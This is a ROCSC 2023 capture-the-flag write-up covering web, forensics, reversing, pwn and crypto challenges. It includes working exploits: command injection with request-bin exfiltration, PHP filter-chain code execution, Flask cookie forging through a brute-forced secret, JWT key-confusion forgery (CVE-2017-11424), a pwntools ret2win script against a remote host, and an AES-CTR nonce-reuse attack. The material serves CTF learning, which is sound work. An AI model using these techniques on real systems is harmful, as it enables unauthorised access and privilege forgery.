ROCSC 2023
Author: Iulian Schifirnet
hashy : web
Proof of Flag
ROCSC{F82590885D27ECD16EB594E2923D16E112B3C46CFC1BAA4ABD13F7802A3A5558}
Summary
There is an input field that encrypts anything you give it into a MD5 format.
Trying to crack the hash using https://crackstation.net/
Proof of Solve
Typically behind this type of challenges there is a system command where you can escape it and get a command injection. We can also see that from the “-“ after the resulted hash which means that this came from stdin.
We can verify that by giving it a known command that would give a common result in order to be cracked:
Trying to decode this on crackstation will give us www-data
.
Knowing that the flag is located at /flag
we can try to extract it using request-bin.
i-am-php : web
Proof of Flag
CTF{db21629aa63aa7add8be1b2f435d49238243cbf5e87f2b736a691c3f62d647d5}
Summary
We get the source code of the application:
After some analysis we can see that the user input is not properly validated.
The vulnerability lies in the include($this->filePath)
line inside the __destruct()
method.
The __destruct()
method is automatically called when an object is destroyed or goes out of scope. In this code, it includes the file specified by the $filePath
property, which is assigned based on the $_GET['param']
value. This means that an attacker can manipulate the $_GET['param']
value to execute arbitrary PHP code.
Proof of Solve
Knowing this we can start chaining our php code using: https://github.com/synacktiv/php_filter_chain_generator
Trying to execute the code:
And we can see that we have successfully exploited this vulnerability. Now the flag is located in the f73… directory so you just need to change the payload to: cat f73*/flag.php
rocker : web
Proof of Flag
CTF{4666c3220395739618c1657045b6b1289817b6e84326b45c7c651aab51a94fe2}
Summary
We get the source code of the application:
We can see that when you are trying to POST to “/“ a session cookie will be created:
└─$ curl -XPOST http://34.159.31.74:31958/ -v
* Trying 34.159.31.74:31958...
* Connected to 34.159.31.74 (34.159.31.74) port 31958 (#0)
> POST / HTTP/1.1
> Host: 34.159.31.74:31958
> User-Agent: curl/7.88.1
> Accept: */*
>
< HTTP/1.1 200 OK
< Server: Werkzeug/2.3.4 Python/3.10.6
< Date: Sun, 28 May 2023 09:39:34 GMT
< Content-Type: text/html; charset=utf-8
< Content-Length: 56
< Vary: Cookie
< Set-Cookie: session=eyJ1c2VyX3R5cGUiOiJ1c2VyIn0.ZHMhVg.qXTqDzYA1qLo-B90RF98G_42JA4; HttpOnly; Path=/
< Connection: close
<
* Closing connection 0
Timestamp key set in session: 2023-05-28 09:39:34.204809
Looking on the code we can see that the app secret key is the current timestamp of the server.
So we can try to bruteforce the timestamp and find the secret key.
Proof of Solve
When I solved the challenge the server’s timestamp was pretty low so I didn’t need to guess that much when the server was started:
#!/usr/bin/env python3
import datetime
"""
26 May 2023 14:11:2326 May 2023 14:11:23
"""
def get_datetime():
for i in range(60):
for x in range(60):
date = datetime.datetime(2023, 5, 26, 13, i, x)
print(str(date))
get_datetime()
After generating the payloads we can start trying to crack the token using flask-unsign
:
flask-unsign --decode --cookie "eyJ1c2VyX3R5cGUiOiJ1c2VyIn0.ZHMhVg.qXTqDzYA1qLo-B90RF98G_42JA4" -w wordlist.lst
Now after cracking the secret key the last thing we need to do is to craft another token and try to access the /flag endpoint:
flask-unsign --sign --cookie "{'user_type': 'admin'}" --secret "2023-05-26 13:03:39"
wheel-of-misfortune : web
Proof of Flag
CTF{8400de2552d48551d36f0a25c40430fc488f035b68bdca4fe3d8875a86a5d037}
Summary
We are given a zip file containing the web application and structure.
Starting to look on the server application code we can see a strange line of code:
jwt.decode(token, app.config['PUBLIC_KEY'], algorithms=['RS256','HS256'])
There is a problem because this is using 2 algorithms on the decryption function.
Also if you look closely on the code you can see that it’s testing if the user luck / 100 is grater than random.random():
if random.random() < user['luck'] / 100:
return {"status": 7, "message": os.getenv('FLAG')}, 200
So basically if we manage to modify the user’s luck we can give it a very large number so we will be able to get the flag.
The other problem is that if you are looking on the requirments.txt file you can see that the version of pyjwt is 1.5.0 which is vulnerable: https://github.com/silentsignal/rsa_sign2n/tree/release/CVE-2017-11424
Proof of Solve
In order to get the exploit working correctly we need to get the jwt token before trying to spin the wheel and the jwt token after spinning the wheel.
Save the 2 tokens in 2 different files and:python3.8.10 x_CVE-2017-11424.py $(cat tok1.txt) $(cat tok2.txt)
Once the exploit is finished you will get a .pem file that you will be able to use in order to craft another session token.
#!/usr/bin/env/python3
import jwt
with open("key.pem", "rb") as f:
content = f.read()
print(content)
session = {'username': f'Hacker', 'money': 5, 'luck': 0x1337}
token = jwt.encode(session, content, algorithm="HS256")
print(token)
Now after the token is created you just need to simply curl the /spin endpoint with the new session token and get the flag.
intruder : network
Proof of Flag
CTF{506f80a01ad6983cc1df148087f3d4fb59e9aacbde60d45766361a5c6b3cbcda}
Summary
We are given a .pcap file that contains a lot of traffic.
We can see that there are a lot of requests that look interesting.
Going on File -> Export Objects we can try to extract the requests. But the only one looking interesting is the first execute request so we will extract just this one.
Looking on the hex of the file we can see something interesting:
Proof of Solve
There is a GIF header which indicates that this could be an image.
Trying to open this will get us a format error so we need to clean this image firstly.
We will use hexedit to replace everything before the GIF header with 00 bytes.
└─$ xxd extracted_image.gif
00000000: 0000 0000 0000 0000 0000 0000 0000 0000 ................
00000010: 0000 0000 0000 0000 0000 0000 0000 0000 ................
00000020: 0000 0000 0000 0000 0000 0000 0000 0000 ................
00000030: 0000 0000 0000 0000 0000 0000 0000 0000 ................
00000040: 0000 0000 0000 0000 0000 0000 0000 0000 ................
00000050: 0000 0000 0000 0000 0000 0000 0000 0000 ................
00000060: 0000 0000 0000 0000 0000 0000 0000 0000 ................
00000070: 0000 0000 0000 0000 0000 0000 0000 0000 ................
00000080: 0000 0000 0000 0000 0000 0000 0000 0000 ................
00000090: 0000 0000 0000 0000 0000 0000 0000 0000 ................
000000a0: 0000 0000 0000 0000 0000 0000 4749 4638 ............GIF8
000000b0: 3961 a406 9808 f000 0000 0000 0000 0021 9a.............!
000000c0: f904 0100 0000 0021 ff0b 4943 4352 4742 .......!..ICCRGB
Now the problem is that the magic header is very down so we need to get get rid of the bytes before the magic header:
└─$ cat xpl.py
with open('image_file.gif', 'rb') as file:
image_bytes = file.read()
# Find the index of "GIF89a" in the byte data
start_index = image_bytes.index(b'GIF89a')
# Remove the bytes before "GIF89a"
modified_bytes = image_bytes[start_index:]
# Create a new file with modified data
with open('new_image_file.gif', 'wb') as new_file:
new_file.write(modified_bytes)
Now if we try to open the gif image we can see that we got the flag:
analog-signal : forensics
Proof of Flag
ctf{7a56113c90117047d79556ae90ae926b4b163f1ef6f7aa2ad9db3e4296290ada}
Summary
You are given a .wav file that has a strange format. Firstly I didn’t look very in depth on the format of the file and I started find a way to solve the challenge.
I tried LSB and nothing interesting showed up, I tried opening the .wav file in Audacity and look on the Spectrogram but again nothing interesting was found.
After a long time I decided to look again on the format of the file ( WAVE audio, IEEE Float, mono 44100 Hz ) and started to search.
Proof of Solve
After searching for the format I found a post based on CTF wav files ( https://github.com/welchbj/ctf/blob/master/docs/steganography.md )
#!/usr/bin/env python3
import bitstring
import soundfile as sf
def binary(fl):
bs = bitstring.BitArray(float=fl, length=32)
return bs.bin
def main():
data, fs = sf.read('analog-signal.wav')
for d in data:
print(binary(d))
if __name__ == '__main__':
main()
Using the python script gave me something interesting:
└─$ python3 analog.py
10111111100000000000000000000000
00111111100000000000000000000000
00111111100000000000000000000000
10111111100000000000000000000000
10111111100000000000000000000000
10111111100000000000000000000000
00111111100000000000000000000000
00111111100000000000000000000000
10111111100000000000000000000000
00111111100000000000000000000000
00111111100000000000000000000000
00111111100000000000000000000000
10111111100000000000000000000000
00111111100000000000000000000000
10111111100000000000000000000000
10111111100000000000000000000000
10111111100000000000000000000000
00111111100000000000000000000000
00111111100000000000000000000000
10111111100000000000000000000000
[...]
As you can see the only thing that changes is the first bit so we will extract just the first bit and see what we get:
└─$ python3 script.py analog_signal.wav
100111001000101110011001100001001100100010011110110010101100100111001110110011101100110010011100110001101100111111001110110011101100100011001111110010111100100010011011110010001100011011001010110010101100100110011110100110101100011011001111100111101001101011000110110011011100100110011101110010111001110111001110110010011100110010011001110011101001101010011001110010011001100111001000100111101001111011001101100111101001101111000110100110111001110111001100100110101100101111001101110001101100100111001101110001101100111110011110100110111001111010000010
Trying to decode this didn’t get us anything interesting… So I decided to xor the output with a key that increments for 1 to 256 and we got the flag:
[...]
Key: 254 b'bugz6`47002b81006156e68447`d81`d837c5c072g0dg7g6``3`e8ec2d5387381`e`|'
Key: 255 b'ctf{7a56113c90117047d79556ae90ae926b4b163f1ef6f7aa2ad9db3e4296290ada}'
xarm : reverse enginnering
Proof of Flag
CTF{8604cd0b7ddd5065780e43449aa7aeacdb0316358d73252524d40fa5c5fc5819}
Summary
We get a 32 bit ARM executable and a encrypted flag:
└─$ cat flag.enc
ER@}>062eb6d1bbb36031>6c2522?gg1gcgebd657053>b15434342b26`g3e3`e3>7?{
Opening the binary in Ghidra we can see that it’s doing a XOR operation on the encrypted flag.
With the following values:
local_c = 0;
memcpy(acStack_70,"If You see this you can decode the flag.txt",0x2c);
memset(auStack_44,0,0x38);
sVar1 = strcspn(acStack_70,"\n");
acStack_70[sVar1] = '\0';
FUN_00010584(acStack_70,0x55,0x45,0x58,0x10,0xa1,0x23,0x25,0x20,0x89,0x56,0x75,0x73);
iVar2 = printf("Encrypted string: %s\n",acStack_70);
if (local_c != 0) {
/* WARNING: Subroutine does not return */
__stack_chk_fail(iVar2,local_c,0);
}
return 0;
}
Proof of Solve
─$ cat asd.py
def decrypt_string(encrypted_string):
decrypted = ""
for char in encrypted_string:
decrypted += chr(ord(char) ^ 0x73 ^ 0x75 ^ 0x56 ^ 0x89 ^ 0x20 ^ 0x25 ^ 0x23 ^ 0xa1 ^ 0x10 ^ 0x58 ^ 0x45 ^ 0x55)
return decrypted
encrypted_string = "ER@}>062eb6d1bbb36031>6c2522?gg1gcgebd657053>b15434342b26`g3e3`e3>7?{"
decrypted_string = decrypt_string(encrypted_string)
print("Decrypted string:", decrypted_string)
luigi : binary exploitation
Proof of Flag
CTF{328f2c6f56d1097d511495607fea09487c84a071379541079795a805da3cc9bd}
Summary
You get a binary executable that print’s the win function. This type of technique is called ret2win and I have a detailed walkthrough on this technique on my blog: https://ischyr.github.io/2023/05/24/ret2win/
The only difference here is that you just need to extract the win function address.
Proof of Solve
#!/usr/bin/env python
from pwn import *
context.log_level='DEBUG'
p = process("./vuln")
elf = ELF("./vuln", checksec=False)
libc = elf.libc
rop = ROP(elf)
def start():
if not args.REMOTE:
return process("./vuln")
else:
return remote("34.159.31.74", 32496)
p = start()
def main():
global rop
print(p.recvuntil(b"Luigi and Mario are true friends for this Mario give flag: "))
flag = int(p.recvline().strip(b"\n"), 16)
log.info("Address: " + hex(flag))
payload = b""
payload += b"A"*40
payload += p64(flag)
p.sendline(payload)
p.interactive()
if __name__=="__main__":
main()
combinations : misc
Proof of Flag
CTF{89cd42c9b9aad2cde15ec79f98f989bb78df5cd2b006e5fd4c13b119d442e20b}
Summary
You get a png image called combinations.png that is a little bit too big for a normal PNG file.
Proof of Solve
Using binwalk on the PNG you will get a file called combinations.txt that contains a very big base64 string. By trying to decode it we will find out that it’s an ELF executable that again inside itt contains some PNG files:
└─$ cat combinations.txt| base64 -d | strings | head
/lib64/ld-linux-x86-64.so.2
image_1.pngUT
Zldux
P:QJ
g:w5
hR;Eo
}jek
N_2*
&LLLaaa@
]U,qv
Running again binwalk on it we will extract 6 images that which make up the flag:
The only problem is that when we try to view the images, they are only gonna get worse and worse as we try to see the next picture.
In order to make the pictures look good you need to xor the images between them:
xor(image_one, image_two) -> xor_one_two
xor(xor_one_two, image_three) -> xor_two_three ( this will get us the next visible part of the flag)
So I wrote a python script in order to make things faster:
#!/usr/bin/env python3
from PIL import Image
from sys import argv
def xor_images(image1, image2, output_path):
img1 = Image.open(image1)
img2 = Image.open(image2)
if img1.size != img2.size:
raise ValueError("Images must have the same dimensions.")
img1 = img1.convert("RGB")
img2 = img2.convert("RGB")
pixels1 = img1.load()
pixels2 = img2.load()
result_img = Image.new("RGB", img1.size)
result_pixels = result_img.load()
for x in range(img1.width):
for y in range(img1.height):
pixel1 = pixels1[x, y]
pixel2 = pixels2[x, y]
result_pixel = tuple(p1 ^ p2 for p1, p2 in zip(pixel1, pixel2))
result_pixels[x, y] = result_pixel
result_img.save(output_path)
print(f"XOR image saved to: {output_path}")
image1_path = argv[1]
image2_path = argv[2]
output_path = argv[3]
xor_images(image1_path, image2_path, output_path)
Now the only thing that remains to do is to view the xored images and write the flag.
You could automate this by using some OCR in order to get the flag faster.
threat-hunting : threat hunting
Proof of Flag
GahhMyCodeIsSoAnnoying-MyCodeIsSoComplicated-OhManImTryingToEncodeThisString-ItIsSoFrustrating
Summary
We get a encryption file and a .bin file.
#!/usr/bin/env python3
import os
import multiprocessing
import sys
from scipy.io.wavfile import read
from scipy.io.wavfile import write
def sb(inpstr, encoding='utf-8', errors='err'):
br = bin(int.from_bytes(inpstr.encode(encoding, errors), 'big'))[2:]
return br.zfill(8 * ((len(br) + 7) // 8))
def enc(ib, ar, of, a_d=[]):
for i in range(0, len(ib) - 1):
a_list = list(bin(a_d[100 + i, 0]))
a_list[-1] = ib[i]
a_str = "".join(a_list)
a_d[100 + i, 0] = int(a_str, 2)
write(of, ar, a_d)
if __name__ == "__main__":
inpm = sys.argv[1]
msgg = " **##**" + " " + inpm + " " +"##**## "
bm = sb(msgg)
len_bm = len(bm)
a_inp = sys.argv[2]
a_out = sys.argv[3]
fc = read(a_inp)
ar = int(fc[0])
a_d = []
a_d = fc[1].copy()
th = multiprocessing.Process(target=enc, args=(bm, ar, a_out, a_d))
th.start()
th.join()
The python encryption script was after some time provided. This was a double hint because as you can see in the imports the file we needed to find was a .wav file and we also got the encryption function that will help us to decrypt the file.
Proof of Solve
After a long time using volatility and trying to get some interesting files I used cmdscan that searches for processes that might contain command history information:
volatility -f threat-hunting.bin --profile=Win7SP1x64 cmdscan
Foundation Volatility Framework 2.6 **************************************************
curl https://we.tl/t-bChZL6XhkW Cmd
Trying to access the we.tl endpoint we get a coded_audio.zip that contains a coded_audio.wav file. Now with the previous information we know that we need to decrypt the coded_audio.wav and get the hidden message:
import os
import multiprocessing
import sys
from scipy.io.wavfile import read
from scipy.io.wavfile import write
def sb(inpstr, encoding='utf-8', errors='err'):
br = bin(int.from_bytes(inpstr.encode(encoding, errors), 'big'))[2:]
return br.zfill(8 * ((len(br) + 7) // 8))
def dec(a_d):
decrypted_bits = ""
for i in range(0, a_d.shape[0] - 100):
decrypted_bits += bin(a_d[100 + i, 0])[-1]
decrypted_str = ''.join(chr(int(decrypted_bits[i:i+8], 2)) for i in range(0, len(decrypted_bits), 8))
return decrypted_str
if __name__ == "__main__":
a_inp = sys.argv[1]
fc = read(a_inp)
a_d = fc[1].copy()
decrypted_msg = dec(a_d)
print("Decrypted message:", decrypted_msg)
Running the script get us the flag:
─$ python3 dec.py coded_audio.wav | strings
Decrypted message: **##** GahhMyCodeIsSoAnnoying-MyCodeIsSoComplicated-OhManImTryingToEncodeThisString-ItIsSoFrustrating ##**##!s=
nopce : cryptography
Proof of Flag
CTF{369f0e8fe3df1cc5e3f8f6e2d925f3dc1a3eb46e1399765298e061a48bd3af43}
Summary
We get a AES_CTR encrypted flag that uses the same key and IV
Proof of Solve
#!/usr/bin/env python3
from pwn import *
from binascii import hexlify, unhexlify
from cryptography.hazmat.primitives import hashes
from cryptography.hazmat.primitives.ciphers.modes import CTR
from Crypto.Random import get_random_bytes
from cryptography.hazmat.backends import default_backend
from cryptography.hazmat.primitives.ciphers import Cipher, algorithms
def blocks(txt):
blocks = []
block_size = 4
if len(txt) % block_size != 0:
txt += b'\0' * (block_size - (len(txt) % block_size))
for i in range(0, len(txt), block_size):
block = txt[i:i+block_size]
blocks.append(block)
return blocks
def shuffle(ciphertext):
blks = blocks(ciphertext)
for i in range(1,len(blks)):
blks[i-1] = xor(blks[i-1],blks[i])
return b"".join(blks)
def unshuffle(ciphertext):
blks = blocks(ciphertext)
for i in reversed(range(1, len(blks))):
blks[i-1] = xor(blks[i-1], blks[i])
return b"".join(blks)
def decrypt(ciphertext):
decrypted_text = unshuffle(ciphertext)
decipher = Cipher(algorithms.AES(key), mode=CTR(iv), backend=default_backend())
decryptor = decipher.decryptor()
plaintext = decryptor.update(decrypted_text) + decryptor.finalize()
return plaintext
def main():
plaintext = cyclic(70)
p = remote("34.159.31.74", 31469)
p.recvuntil(b": ", drop=True)
encrypted_flag = unhexlify(p.recvline().strip())
print("Encrypted flag: ", encrypted_flag)
p.recv()
p.sendline(plaintext)
p.recvuntil(b": ", drop=True)
encrypted_text = unhexlify(p.recvline().strip())
print("Encrypted text: ", encrypted_text)
shuffed_plaintext = shuffle(plaintext)
shuffed_flag = xor(shuffed_plaintext, encrypted_text, encrypted_flag)
print(unshuffle(shuffed_flag))
if __name__=="__main__":
main()